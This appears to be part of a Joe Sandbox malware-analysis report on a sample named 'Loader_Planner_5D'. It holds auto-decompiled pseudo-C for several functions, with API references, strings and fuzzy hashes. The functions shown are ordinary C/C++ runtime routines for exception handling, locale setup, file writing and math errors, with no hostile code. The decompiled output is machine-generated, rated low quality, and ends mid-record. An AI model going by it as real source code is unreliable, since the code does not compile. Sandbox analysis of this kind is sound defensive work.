Function 00007FF710646A6C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF710646A6C(void* __eflags, void* __rcx, intOrPtr _a8, intOrPtr _a16, signed int _a24, void* _a32) {
				char _v80;
				signed long long _v96;
				long long _v104;
				long long _v136;
				signed long long _v144;
				signed int _v152;
				long long _v160;
				long long _v168;
				signed long long _v176;
				signed int _v184;
				void* __rbx;
				void* _t105;
				void* _t124;
				long long _t125;
				signed long long _t129;
				signed int _t130;
				long long _t132;
				signed long long _t134;
				long long _t153;
				intOrPtr* _t154;
				void* _t155;
				void* _t158;
				signed long long _t161;

				_t124 = _t155;
				r12d = 0;
				_v184 = r12d;
				_a24 = _a24 & r12d;
				_v176 = _v176 & _t161;
				_v152 = _v152 & _t161;
				 *((intOrPtr*)(_t124 - 0x80)) = r12b;
				 *(_t124 - 0x7c) =  *(_t124 - 0x7c) & r12d;
				 *(_t124 - 0x78) =  *(_t124 - 0x78) & r12d;
				 *(_t124 - 0x74) =  *(_t124 - 0x74) & r12d;
				 *(_t124 - 0x70) =  *(_t124 - 0x70) & r12d;
				 *(_t124 - 0x6c) =  *(_t124 - 0x6c) & r12d;
				E00007FF77FF710644570(_t124);
				_t125 =  *((intOrPtr*)(_t124 + 0x28));
				_v160 = _t125;
				E00007FF77FF710644570(_t125);
				_v168 =  *((intOrPtr*)(_t125 + 0x20));
				_t153 =  *((intOrPtr*)(__rcx + 0x50));
				_a32 = _t153;
				_t132 =  *((intOrPtr*)(__rcx + 0x40));
				_v136 =  *((intOrPtr*)(__rcx + 0x30));
				_v104 =  *((intOrPtr*)(__rcx + 0x48));
				_t129 =  *((intOrPtr*)(__rcx + 0x68));
				_v96 = _t129;
				_a16 =  *((intOrPtr*)(__rcx + 0x78));
				_a8 =  *((intOrPtr*)(__rcx + 0x38));
				E00007FF77FF710647824( *((intOrPtr*)(__rcx + 0x38)), _t132);
				E00007FF77FF710644570(_t129);
				 *((long long*)(_t129 + 0x20)) = _t153;
				E00007FF77FF710644570(_t129);
				 *((long long*)(_t129 + 0x28)) = _t132;
				E00007FF77FF710644570(_t129);
				E00007FF77FF7106439A0(_t129,  &_v80,  *((intOrPtr*)( *((intOrPtr*)(_t129 + 0x20)) + 0x28)));
				_v144 = _t129;
				if ( *((intOrPtr*)(__rcx + 0x58)) == _t161) goto 0x10646b6e;
				_a24 = 1;
				E00007FF77FF710644570(_t129);
				_v152 =  *((intOrPtr*)(_t129 + 0x70));
				r8d = 0x100;
				E00007FF77FF710647C20(_v136,  *((intOrPtr*)(__rcx + 0x28)), _t158);
				_v176 = _t129;
				if (_t129 - 2 >= 0) goto 0x10646ba2;
				_t134 =  *((intOrPtr*)(_t155 - 0xa8 + 0x70 + _t129 * 8));
				if (_t134 == 0) goto 0x10646cb5;
				_v176 = _t134;
				E00007FF77FF710647C50(_t134,  *((intOrPtr*)(__rcx + 0x28)));
				_v184 = 1;
				E00007FF77FF710644570(_t129);
				 *(_t129 + 0x40) =  *(_t129 + 0x40) & 0x00000000;
				E00007FF77FF710644570(_t129);
				 *((intOrPtr*)(_t129 + 0x78)) = _a16;
				_t154 = _a32;
				if (_a24 == 0) goto 0x10646c09;
				E00007FF77FF710643CB0(1, _t154);
				_t130 = _v152;
				r8d =  *((intOrPtr*)(_t130 + 0x18));
				goto 0x10646c16;
				r8d =  *((intOrPtr*)(_t154 + 0x18));
				RaiseException(??, ??, ??, ??);
				r12d = _v184;
				E00007FF77FF7106439DC(_t130, _v176, _v144);
				if (r12d != 0) goto 0x10646c74;
				if ( *_t154 != 0xe06d7363) goto 0x10646c74;
				if ( *((intOrPtr*)(_t154 + 0x18)) != 4) goto 0x10646c74;
				if ( *((intOrPtr*)(_t154 + 0x20)) - 0x19930520 - 2 > 0) goto 0x10646c74;
				if (E00007FF77FF710643D24(_t130,  *((intOrPtr*)(_t154 + 0x28))) == 0) goto 0x10646c74;
				E00007FF77FF710643CB0(1, _t154);
				E00007FF77FF710644570(_t130);
				 *((long long*)(_t130 + 0x20)) = _v168;
				E00007FF77FF710644570(_t130);
				 *((long long*)(_t130 + 0x28)) = _v160;
				E00007FF77FF710644570(_t130);
				 *((intOrPtr*)(_t130 + 0x78)) = _a8;
				_t105 = E00007FF77FF710644570(_t130);
				 *((intOrPtr*)(_t130 + 0x78)) = 0xfffffffe;
				return _t105;
			}

0x7ff710646a6c
0x7ff710646a82
0x7ff710646a85
0x7ff710646a8a
0x7ff710646a92
0x7ff710646a97
0x7ff710646a9c
0x7ff710646aa0
0x7ff710646aa4
0x7ff710646aa8
0x7ff710646aac
0x7ff710646ab0
0x7ff710646ab4
0x7ff710646ab9
0x7ff710646abd
0x7ff710646ac2
0x7ff710646acb
0x7ff710646ad0
0x7ff710646ad4
0x7ff710646adc
0x7ff710646ae4
0x7ff710646af1
0x7ff710646af6
0x7ff710646afa
0x7ff710646b02
0x7ff710646b0c
0x7ff710646b16
0x7ff710646b1b
0x7ff710646b20
0x7ff710646b24
0x7ff710646b29
0x7ff710646b2d
0x7ff710646b42
0x7ff710646b4a
0x7ff710646b53
0x7ff710646b55
0x7ff710646b60
0x7ff710646b69
0x7ff710646b6e
0x7ff710646b7c
0x7ff710646b84
0x7ff710646b8d
0x7ff710646b8f
0x7ff710646b97
0x7ff710646b9d
0x7ff710646ba8
0x7ff710646bb9
0x7ff710646bc1
0x7ff710646bc6
0x7ff710646bca
0x7ff710646bd6
0x7ff710646bd9
0x7ff710646be9
0x7ff710646bf0
0x7ff710646bf5
0x7ff710646bfe
0x7ff710646c07
0x7ff710646c0d
0x7ff710646c16
0x7ff710646c1c
0x7ff710646c38
0x7ff710646c40
0x7ff710646c48
0x7ff710646c4e
0x7ff710646c5b
0x7ff710646c68
0x7ff710646c6f
0x7ff710646c74
0x7ff710646c79
0x7ff710646c7d
0x7ff710646c82
0x7ff710646c86
0x7ff710646c92
0x7ff710646c95
0x7ff710646c9a
0x7ff710646cb4

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF710646B16
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF710646B42

Strings

csm, xrefs: 00007FF710646C42

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 170a0ca3b41e1b5a1f0d12709d5604c28c6f2cad05bec149bf9b41ac7f42054e
Instruction ID: e6ed976998f2de43aeae20315ccfb5598ef40b9763111557189b9724245568f2
Opcode Fuzzy Hash: 170a0ca3b41e1b5a1f0d12709d5604c28c6f2cad05bec149bf9b41ac7f42054e
Instruction Fuzzy Hash: 1F513D32A18B4287DA20BB15E44126EB7A5FB88BA0F544134EB8D87B55DF38E865CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063D430 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00007FF77FF71063D430(long long __rax, long long __rbx, long long* __rcx, void* __rdx, long long __rsi) {
				void* _t41;
				void* _t50;
				intOrPtr _t75;
				void* _t88;
				long long* _t89;
				long long _t92;
				void* _t94;
				void* _t95;
				void* _t97;
				long long _t101;

				_t66 = __rax;
				 *((long long*)(_t97 + 0x10)) = __rbx;
				 *((long long*)(_t97 + 0x18)) = __rsi;
				_t95 = _t97 - 0x47;
				_t89 = __rcx;
				r14d = 0;
				if (__rcx == 0) goto 0x1063d578;
				if ( *((intOrPtr*)(__rcx)) != _t101) goto 0x1063d578;
				_t4 = _t101 + 0x10; // 0x10
				_t53 = _t4;
				_t41 = E00007FF77FF710641E18(__rax, __rcx);
				_t92 = __rax;
				 *((long long*)(_t95 + 0x67)) = __rax;
				_t75 =  *((intOrPtr*)(__rdx + 8));
				if (_t75 == 0) goto 0x1063d48d;
				if ( *((intOrPtr*)(_t75 + 0x28)) != 0) goto 0x1063d494;
				goto 0x1063d494;
				E00007FF77FF7106617CC(_t41, 0, _t95 - 0x29);
				 *((long long*)(_t95 - 0x21)) = _t101;
				 *((char*)(_t95 - 0x19)) = 0;
				 *((long long*)(_t95 - 0x11)) = _t101;
				 *((char*)(_t95 - 9)) = 0;
				 *((long long*)(_t95 - 1)) = _t101;
				 *((intOrPtr*)(_t95 + 7)) = r14w;
				 *((long long*)(_t95 + 0xf)) = _t101;
				 *((intOrPtr*)(_t95 + 0x17)) = r14w;
				 *((long long*)(_t95 + 0x1f)) = _t101;
				 *((char*)(_t95 + 0x27)) = 0;
				 *((long long*)(_t95 + 0x2f)) = _t101;
				 *((char*)(_t95 + 0x37)) = 0;
				if (0x1067adf3 == 0) goto 0x1063d595;
				E00007FF77FF710662014(_t66, 0x1067adf3, _t95 - 0x29, 0x1067adf3);
				 *((intOrPtr*)(_t92 + 8)) = r14d;
				 *_t92 = 0x10677900;
				 *_t89 = _t92;
				E00007FF77FF710662080(_t95 - 0x29);
				if ( *((intOrPtr*)(_t95 + 0x2f)) == 0) goto 0x1063d510;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t101);
				 *((long long*)(_t95 + 0x2f)) = _t101;
				if ( *((intOrPtr*)(_t95 + 0x1f)) == 0) goto 0x1063d522;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t88);
				 *((long long*)(_t95 + 0x1f)) = _t101;
				if ( *((intOrPtr*)(_t95 + 0xf)) == 0) goto 0x1063d534;
				E00007FF77FF7106495A0(_t4, 0, 0x1067adf3, 0x1067adf3, _t94);
				 *((long long*)(_t95 + 0xf)) = _t101;
				if ( *((intOrPtr*)(_t95 - 1)) == 0) goto 0x1063d546;
				E00007FF77FF7106495A0(_t53, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t95 - 1)) = _t101;
				if ( *((intOrPtr*)(_t95 - 0x11)) == 0) goto 0x1063d558;
				E00007FF77FF7106495A0(_t53, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t95 - 0x11)) = _t101;
				if ( *((intOrPtr*)(_t95 - 0x21)) == 0) goto 0x1063d56a;
				_t50 = E00007FF77FF7106495A0(_t53, 0, 0x1067adf3, 0x1067adf3);
				 *((long long*)(_t95 - 0x21)) = _t101;
				E00007FF77FF710661844(_t50, _t95 - 0x29);
				return 4;
			}

0x7ff71063d430
0x7ff71063d430
0x7ff71063d435
0x7ff71063d43e
0x7ff71063d44d
0x7ff71063d450
0x7ff71063d456
0x7ff71063d45f
0x7ff71063d465
0x7ff71063d465
0x7ff71063d469
0x7ff71063d46e
0x7ff71063d471
0x7ff71063d475
0x7ff71063d47c
0x7ff71063d485
0x7ff71063d48b
0x7ff71063d49a
0x7ff71063d4a0
0x7ff71063d4a4
0x7ff71063d4a8
0x7ff71063d4ac
0x7ff71063d4b0
0x7ff71063d4b4
0x7ff71063d4b9
0x7ff71063d4bd
0x7ff71063d4c2
0x7ff71063d4c6
0x7ff71063d4ca
0x7ff71063d4ce
0x7ff71063d4d5
0x7ff71063d4e2
0x7ff71063d4e8
0x7ff71063d4f3
0x7ff71063d4f6
0x7ff71063d4fd
0x7ff71063d509
0x7ff71063d50b
0x7ff71063d510
0x7ff71063d51b
0x7ff71063d51d
0x7ff71063d522
0x7ff71063d52d
0x7ff71063d52f
0x7ff71063d534
0x7ff71063d53f
0x7ff71063d541
0x7ff71063d546
0x7ff71063d551
0x7ff71063d553
0x7ff71063d558
0x7ff71063d563
0x7ff71063d565
0x7ff71063d56a
0x7ff71063d572
0x7ff71063d594

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71063D49A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF71063D4E2

Strings

bad locale name, xrefs: 00007FF71063D595

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: aa012b5e52eaab945909901644a67787d7725b2b000898e076aac572519d0739
Instruction ID: f78ca238ba8f1d57f33ed2fb44619d6a2dc7ff671800b8eb6f3a61abeaed2693
Opcode Fuzzy Hash: aa012b5e52eaab945909901644a67787d7725b2b000898e076aac572519d0739
Instruction Fuzzy Hash: F6418B32B1AE4189EB14EF70E4902EC63A5AF54728F880034DA4D6BB55DE38E529D3A4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063E690 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF71063E690(void* __ecx, void* __edx, long long __rbx, intOrPtr* __rcx, void* __r8, void* __r9, void* __r15, long long _a16) {
				void* _v40;
				long long _v48;
				char _v64;
				void* __rdi;
				void* __rsi;
				signed long long _t60;
				intOrPtr* _t65;
				void* _t68;
				void* _t75;

				_a16 = __rbx;
				_t75 = __r8;
				_t65 = __rcx;
				if ( *((long long*)(__rcx + 0x18)) - 8 < 0) goto 0x1063e6b2;
				if ( *((short*)( *__rcx + 0xfffffffffffffffe)) != 0) goto 0x1063e6c0;
				if (0xffffffff == 0) goto 0x1063e7dc;
				if (0 !=  *((intOrPtr*)(__rcx + 0x10))) goto 0x1063e7dc;
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x28], xmm0");
				_v48 = 0;
				_v40 = 0;
				r8d = 1;
				E00007FF77FF710634890( &_v64, 0x1067cbe0, __rcx, __r8, __r15);
				0x10622710();
				_t60 = _v40;
				if (_t60 - 8 < 0) goto 0x1063e75f;
				_t52 = _v64;
				if (2 + _t60 * 2 - 0x1000 < 0) goto 0x1063e75a;
				if (_v64 -  *((intOrPtr*)(_t52 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063e7ef;
				E00007FF77FF710641E10(_v64 -  *((intOrPtr*)(_t52 - 8)) + 0xfffffff8,  *((intOrPtr*)(_t52 - 8)));
				if ( *((long long*)(_t65 + 0x18)) - 8 < 0) goto 0x1063e769;
				if (E00007FF77FF71066128C(_v64 -  *((intOrPtr*)(_t52 - 8)) + 0xfffffff8, __r9,  *_t65, _t75, _t68, __r9, __r9) != 0) goto 0x1063e7bb;
				if (E00007FF77FF71063E550(__r9) == 0) goto 0x1063e7ab;
				asm("o16 nop [eax+eax]");
				if (E00007FF77FF71066124C() != 0) goto 0x1063e7e1;
				if (E00007FF77FF71063E550(__r9) != 0) goto 0x1063e790;
				return 0;
			}

0x7ff71063e690
0x7ff71063e6a0
0x7ff71063e6a5
0x7ff71063e6ad
0x7ff71063e6c8
0x7ff71063e6cd
0x7ff71063e6d7
0x7ff71063e6dd
0x7ff71063e6e0
0x7ff71063e6e5
0x7ff71063e6ee
0x7ff71063e6f7
0x7ff71063e709
0x7ff71063e717
0x7ff71063e71d
0x7ff71063e726
0x7ff71063e730
0x7ff71063e73f
0x7ff71063e754
0x7ff71063e75a
0x7ff71063e764
0x7ff71063e779
0x7ff71063e788
0x7ff71063e78a
0x7ff71063e79d
0x7ff71063e7a9
0x7ff71063e7ba

APIs

__std_fs_directory_iterator_open.LIBCPMT ref: 00007FF71063E772

Strings

., xrefs: 00007FF71063EA2B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: __std_fs_directory_iterator_open
String ID: .
API String ID: 4007087469-248832578
Opcode ID: bc347ad9cc25cf20e48e324961a13ffe1630203051b9daa0a5397fcbacc3ee4f
Instruction ID: 7d75b623b927560fca964a14c3f729d521192092b6b0e9a10cdc351d3415073d
Opcode Fuzzy Hash: bc347ad9cc25cf20e48e324961a13ffe1630203051b9daa0a5397fcbacc3ee4f
Instruction Fuzzy Hash: 0B31B722B08E4141EE14A719E9443799362AF85BF4F940231EE5D4B7D5EE3CF4DA8660

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063ADA0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00007FF77FF71063ADA0(void* __rcx, long long __rdx) {
				void* _t5;
				long long _t14;

				r14d = r8b;
				asm("xorps xmm0, xmm0");
				asm("movups [ecx], xmm0");
				 *((long long*)(__rcx + 0x10)) = _t14;
				 *((long long*)(__rcx + 0x18)) = _t14;
				if (__rdx - 0xffffffff > 0) goto 0x1063ae9b;
				 *((long long*)(__rcx + 0x18)) = 0xf;
				if (__rdx - 0x10 >= 0) goto 0x1063ae03;
				 *((long long*)(__rcx + 0x10)) = __rdx;
				E00007FF77FF7106441A0();
				return _t5;
			}

0x7ff71063adad
0x7ff71063adb1
0x7ff71063adc4
0x7ff71063adc7
0x7ff71063adcb
0x7ff71063add2
0x7ff71063add8
0x7ff71063ade4
0x7ff71063ade6
0x7ff71063adf0
0x7ff71063ae02

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063AEA1

Strings

ios_base::badbit set, xrefs: 00007FF71063ADA0

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: ios_base::badbit set
API String ID: 118556049-3882152299
Opcode ID: 3f814cc5aee997d69bf27a9f60d15d51df9983ebf7cb0923ebf840ddac7757dc
Instruction ID: 56e038513c7500f9c641b3e98212fc61b3ca51ed30f850f59ce877c771637cf3
Opcode Fuzzy Hash: 3f814cc5aee997d69bf27a9f60d15d51df9983ebf7cb0923ebf840ddac7757dc
Instruction Fuzzy Hash: D931E032B09B4685FA15BB56A6003BCA2529F44BF0FA80730DE2D0B7D6DE3CB4969250

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710651788 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E00007FF77FF710651788(signed int __edx, void* __edi, void* __rax, signed long long __rbx, intOrPtr* __rcx, long long __rbp, signed short* __r8, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				signed int _t41;
				signed long long _t62;
				short* _t67;
				signed int* _t68;
				void* _t91;
				void* _t97;
				void* _t99;
				void* _t102;
				void* _t103;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF77FF710663340(0x1470, __rax, _t97, _t99);
				_t62 =  *0x10689010; // 0xafe3859a1ce3
				_a5176 = _t62 ^ _t91 - __rax;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t103 = _t102 + __r8;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(0x1068b470 + (__edx >> 6) * 8));
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if (__r8 - _t103 >= 0) goto 0x106518c9;
				_t67 =  &_a40;
				if (__r8 - _t103 >= 0) goto 0x10651832;
				_t41 =  *__r8 & 0x0000ffff;
				if (_t41 != 0xa) goto 0x1065181e;
				 *_t67 = 0xd;
				_t68 = _t67 + 2;
				 *_t68 = _t41;
				if ( &(_t68[0]) -  &_a1744 < 0) goto 0x10651800;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				E00007FF77FF710657FB0();
				if (0 == 0) goto 0x106518c1;
				if (0 == 0) goto 0x106518b1;
				_v8 = _v8 & 0x00000000;
				r8d = 0;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0x106518c1;
				if (0 + _a24 < 0) goto 0x1065187e;
				 *((intOrPtr*)(__rcx + 4)) = __edi - r15d;
				goto 0x106517f5;
				 *((intOrPtr*)(__rcx)) = GetLastError();
				return E00007FF77FF710641DF0(_t39, 0, _a5176 ^ _t91 - __rax);
			}

0x7ff710651788
0x7ff71065178d
0x7ff71065179f
0x7ff7106517a7
0x7ff7106517b1
0x7ff7106517c2
0x7ff7106517d0
0x7ff7106517d4
0x7ff7106517ec
0x7ff7106517f2
0x7ff7106517f5
0x7ff7106517fb
0x7ff710651803
0x7ff710651805
0x7ff710651810
0x7ff710651817
0x7ff71065181a
0x7ff71065181e
0x7ff710651830
0x7ff710651832
0x7ff71065183d
0x7ff71065184b
0x7ff71065185e
0x7ff710651863
0x7ff71065186d
0x7ff710651876
0x7ff71065187c
0x7ff71065187e
0x7ff710651893
0x7ff71065189c
0x7ff7106518a7
0x7ff7106518af
0x7ff7106518b6
0x7ff7106518bc
0x7ff7106518c7
0x7ff7106518f7

APIs

WriteFile.KERNEL32 ref: 00007FF71065189F
GetLastError.KERNEL32 ref: 00007FF7106518C1

Strings

U, xrefs: 00007FF71065184B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f194e92f888d9fb826c10b597562409e61e01606ca9138beb5bdf8458b7d4f5
Instruction ID: ec5367b8b3982a5e0c736913e29ab98ee086349dafc0c0d926ec823d52f6c93a
Opcode Fuzzy Hash: 4f194e92f888d9fb826c10b597562409e61e01606ca9138beb5bdf8458b7d4f5
Instruction Fuzzy Hash: 67419322B18E85C1DB209F25E4443A9A7A2FB987E4F844131EE4D8B758DF3CE445C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710622150 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00007FF77FF710622150(void* __rax, long long __rcx, void* __rdx) {
				intOrPtr _v32;
				char _v56;
				char _v72;
				void* __rbx;
				void* _t11;
				long long* _t22;
				intOrPtr _t30;

				asm("movaps [esp+0x50], xmm6");
				_t22 = __rcx;
				_v72 = __rcx;
				asm("inc ecx");
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x30], xmm0");
				asm("xorps xmm1, xmm1");
				asm("movdqu [esp+0x40], xmm1");
				_t12 =  *((char*)(__rdx + 0xffffffff));
				if ( *((char*)(__rdx + 0xffffffff)) != 0) goto 0x10622180;
				E00007FF77FF71062A010(__rcx,  &_v56, __rdx, 0);
				asm("movdqa [esp+0x20], xmm6");
				E00007FF77FF7106215C0(_t12, _t22, _t22,  &_v72,  &_v56);
				_t30 = _v32;
				if (_t30 - 0x10 < 0) goto 0x106221e7;
				_t26 = _v56;
				if (_t30 + 1 - 0x1000 < 0) goto 0x106221e2;
				if (_v56 -  *((intOrPtr*)(_t26 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106221ff;
				_t11 = E00007FF77FF710641E10(_v56 -  *((intOrPtr*)(_t26 - 8)) + 0xfffffff8,  *((intOrPtr*)(_t26 - 8)));
				 *_t22 = 0x10677760;
				asm("movaps xmm6, [esp+0x50]");
				return _t11;
			}

0x7ff710622156
0x7ff71062215b
0x7ff71062215e
0x7ff710622163
0x7ff710622167
0x7ff71062216a
0x7ff71062216f
0x7ff710622172
0x7ff710622183
0x7ff710622188
0x7ff71062218f
0x7ff710622195
0x7ff7106221a8
0x7ff7106221ae
0x7ff7106221b7
0x7ff7106221bc
0x7ff7106221cb
0x7ff7106221e0
0x7ff7106221e2
0x7ff7106221ee
0x7ff7106221f4
0x7ff7106221fe

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106221FF
__std_exception_copy.LIBVCRUNTIME ref: 00007FF710622238

Strings

ios_base::failbit set, xrefs: 00007FF710622150

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: __std_exception_copy_invalid_parameter_noinfo_noreturn
String ID: ios_base::failbit set
API String ID: 1109970293-3924258884
Opcode ID: c9239d8fb29eded9a841226ec4e0e64399617f63975b82f5f9626531a6fc539d
Instruction ID: 3d7a874571d0d74c24ff751261aaa0db1943a0958273a1d9d8a3523739047658
Opcode Fuzzy Hash: c9239d8fb29eded9a841226ec4e0e64399617f63975b82f5f9626531a6fc539d
Instruction Fuzzy Hash: BC218462E18F8591EA009F24E5411A9B321FFA97B4F54A331EBAC12795EF6CE1D4C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710656344 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00007FF77FF710656344(void* __ecx, void* __edx, long long __rbx, long long _a8, intOrPtr _a48) {
				signed long long _v48;
				void* _t7;
				void* _t8;
				void* _t13;
				void* _t23;
				void* _t24;

				_a8 = __rbx;
				asm("movsd [esp+0x20], xmm3");
				asm("movsd [esp+0x18], xmm2");
				_t8 = __ecx;
				r8d = 0;
				if ( *0x1066f420 == __edx) goto 0x106563ad;
				r8d = r8d + 1;
				if (0x7ff71066f430 - 0x1066f5f0 < 0) goto 0x1065636c;
				_v48 = _v48 & 0x00000000;
				E00007FF77FF7106565D8(__ecx, _t13, __rbx, _a48, _t23, _t24);
				_t7 = E00007FF77FF710656314(_t8, 0x7ff71066f430, _a48);
				asm("movsd xmm0, [ebp+0x30]");
				return _t7;
			}

0x7ff710656344
0x7ff710656349
0x7ff71065634f
0x7ff710656364
0x7ff710656369
0x7ff71065636e
0x7ff710656370
0x7ff710656381
0x7ff710656383
0x7ff710656391
0x7ff710656398
0x7ff71065639d
0x7ff7106563ac

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF710656398
_set_errno_from_matherr.LIBCMT ref: 00007FF710656405

Strings

exp, xrefs: 00007FF710656373

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: exp
API String ID: 1187470696-113136155
Opcode ID: ce6cdec83da730ca8b9d368019309ee7f561cf62f94346bf4aef8dceb64a7575
